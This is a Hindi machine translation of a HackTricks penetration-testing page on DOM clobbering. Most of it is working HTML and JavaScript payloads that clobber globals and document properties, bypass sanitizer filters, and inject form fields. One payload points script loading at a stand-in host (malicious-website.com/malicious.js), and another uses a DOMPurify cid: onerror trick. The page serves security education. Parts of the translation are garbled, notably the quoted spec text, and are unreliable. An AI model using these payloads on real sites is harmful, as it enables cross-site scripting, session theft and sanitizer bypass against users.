hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

22 KiB

डॉम क्लॉबरिंग

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

मूल बातें

HTML टैग में id और name गुणों के साथ JS संदर्भ में वैश्विक चरों को उत्पन्न करना संभव है।

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

केवल कुछ तत्व ही नाम विशेषता का उपयोग करके ग्लोबल्स को क्लॉबर कर सकते हैं, वे हैं: embed, form, iframe, image, img और object.

दिलचस्प बात यह है कि जब आप एक फॉर्म तत्व का उपयोग करके एक चर को क्लॉबर करते हैं, तो आपको तत्व की खुद की toString मान प्राप्त होगी: [object HTMLFormElement] लेकिन ऐंकर के साथ toString ऐंकर href होगी। इसलिए, यदि आप a टैग का उपयोग करके क्लॉबर करते हैं, तो जब यह स्ट्रिंग के रूप में व्यवहार किया जाता है, आप मान को नियंत्रित कर सकते हैं:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

एक एरे और ऑब्जेक्ट एट्रिब्यूट को भी clobber किया जा सकता है:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

एक तीसरे गुण (जैसे x.y.z) को clobber करने के लिए, आपको एक form का उपयोग करना होगा:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

अधिक एट्रिब्यूट्स को क्लॉबर करना अधिक जटिल होता है लेकिन फिर भी संभव है, आइफ्रेम का उपयोग करके:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} स्टाइल टैग का उपयोग किया जाता है आईफ्रेम को रेंडर करने के लिए पर्याप्त समय देने के लिए। इसके बिना आपको अनिर्धारित अलर्ट मिलेगा। {% endhint %}

गहरे गुणों को अवरोधित करने के लिए, आप एचटीएमएल कोडिंग के साथ आईफ्रेम्स का उपयोग कर सकते हैं इस तरह से:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

फ़िल्टर बाईपास

यदि एक फ़िल्टर नोड की संपत्तियों को document.getElementByID('x').attributes जैसी कुछ चीज़ों के माध्यम से लूप कर रहा है, तो आप एट्रिब्यूट .attributes को क्लॉबर कर सकते हैं और फ़िल्टर को टूटा सकते हैं। tagName, nodeName या parentNode जैसी अन्य DOM संपत्तियां भी क्लॉबर की जा सकती हैं।

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObject को Clobber करना

जोखिम उठाने वाले जावास्क्रिप्ट डेवलपर्स द्वारा एक सामान्य पैटर्न है:

var someObject = window.someObject || {};

यदि आप पृष्ठ पर कुछ HTML को नियंत्रित कर सकते हैं, तो आप someObject संदर्भ को एक DOM नोड, जैसे एंकर के साथ अवरोधित कर सकते हैं। निम्नलिखित कोड को विचार करें:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

इस भेद्यता युक्त कोड का शोषण करने के लिए, आप निम्नलिखित HTML को इंजेक्ट कर सकते हैं ताकि someObject संदर्भ को एंकर तत्व के साथ ओवरफ़्लो करें:

{% code overflow="wrap" %}

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

{% endcode %}

उस डेटा को इंजेक्ट करना window.someObject.url होगा href=//malicious-website.com/malicious.js

ट्रिक: DOMPurify आपको cid: प्रोटोकॉल का उपयोग करने देता है, जिसमें डबल-कोट्स को URL-encode नहीं किया जाता है। इसका मतलब है कि आप एक एन्कोडेड डबल-कोट्स इंजेक्ट कर सकते हैं जो रनटाइम पर डिकोड होगा। इसलिए, कुछ इस तरह का इंजेक्शन करना <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> एचटीएमएल एन्कोडेड &quot; को रनटाइम पर डिकोड करेगा और एट्रिब्यूट मान से बचकर onerror इवेंट को बनाएगा

एक और सामान्य तकनीक है form एलिमेंट का उपयोग करना। कुछ क्लाइंट-साइड लाइब्रेरीज़ नए बनाए गए फॉर्म एलिमेंट के एट्रिब्यूट्स को सेनिटाइज़ करने के लिए जाएगी। लेकिन, अगर आप फॉर्म के अंदर id=attributes के साथ input बनाते हैं, तो आप एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट कर देंगे और सेनिटाइजर वास्तविक एट्रिब्यूट्स के माध्यम से नहीं जा सकेगा।

आप इस प्रकार के clobbering का उदाहरण इस CTF राइटअप में पा सकते हैं

डॉक्यूमेंट ऑब्जेक्ट को Clobber करना

दस्तावेज़ के एट्रिब्यूट्स को DOM Clobbering का उपयोग करके ओवरराइट किया जा सकता है इसके अनुसार:

डॉक्यूमेंट इंटरफ़ेस नेम्ड प्रॉपर्टी का समर्थन करती है। किसी भी समय एक डॉक्यूमेंट ऑब्जेक्ट डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होने वाले एक्सपोज़्ड एम्बेड, फॉर्म, आईफ्रेम, इमेज, और एक्सपोज़्ड ऑब्जेक्ट एलिमेंट्स के लिए सभी नाम सामग्री एट्रिब्यूट की मान, जो एक गैर-खाली नाम सामग्री एट्रिब्यूट रखते हैं और डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होते हैं, के लिए होती हैं:

- सभी नाम सामग्री एट्रिब्यूट वाले एक्सपोज़्ड एम्बेड, फॉर्म, आईफ्रेम, इमेज, और एक्सपोज़्ड ऑब्जेक्ट एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट की मान;

- सभी नाम सामग्री एट्रिब्यूट वाले ऑब्जेक्ट एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट की मान;

- सभी इमेज एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट और इमेज एलिमेंट्स के लिए इमेज एलिमेंट्स के बीच एक गैर-खाली नाम सामग्री एट्रिब्यूट और एक गैर-खाली इमेज एलिमेंट्स के लिए इमेज एलिमेंट्स के बीच एक गैर-खाली नाम सामग्री एट्रिब्यूट की मान, और डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होते हैं।

इस तकनीक का उपयोग करके आप सामान्य रूप से उपयोग होने वाले मान जैसे document.cookie, document.body, document.children, और डॉक्यूमेंट इंटरफ़ेस में तरीकों को ओवरराइट कर सकते हैं जैसे document.querySelector

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

तत्व को चटकाने के बाद लिखना

आप एक document.getElementById() और document.querySelector() कॉल के परिणाम को चटका सकते हैं अगर आप एक <html> या <body> टैग इंजेक्ट करते हैं जिसमें समान id विशेषता हो। यहां एक उदाहरण है:

<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>

यहां और भी दिलचस्प है कि आप innerText से तत्वों को छिपा सकते हैं, इसलिए यदि आप एक HTML/body टैग इंजेक्ट करते हैं तो आप इसे innerText से छिपाने के लिए स्टाइल का उपयोग कर सकते हैं ताकि अन्य पाठ आपके हमले में बाधा न डालें:

<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

हमने SVG भी देखा है और वहां <body> टैग का उपयोग करना संभव है:

<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

आपको Chrome और Firefox दोनों में SVG में HTML टैग का उपयोग करने के लिए <foreignobject> टैग की आवश्यकता होती है:

<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

फॉर्म को अद्यतन करना

कुछ टैग्स के अंदर form एट्रिब्यूट निर्दिष्ट करके आप फॉर्म के अंदर नए एंट्रीज़ जोड़ सकते हैं। आप इसका उपयोग करके फॉर्म के अंदर नए मान जोड़ सकते हैं और इसे भेजने के लिए नया बटन भी जोड़ सकते हैं (क्लिकजैकिंग या .click() JS कोड का दुरुपयोग करना):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

  • इसे देखें** में और फॉर्म एट्रिब्यूट के बारे में जानकारी प्राप्त करें।**

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥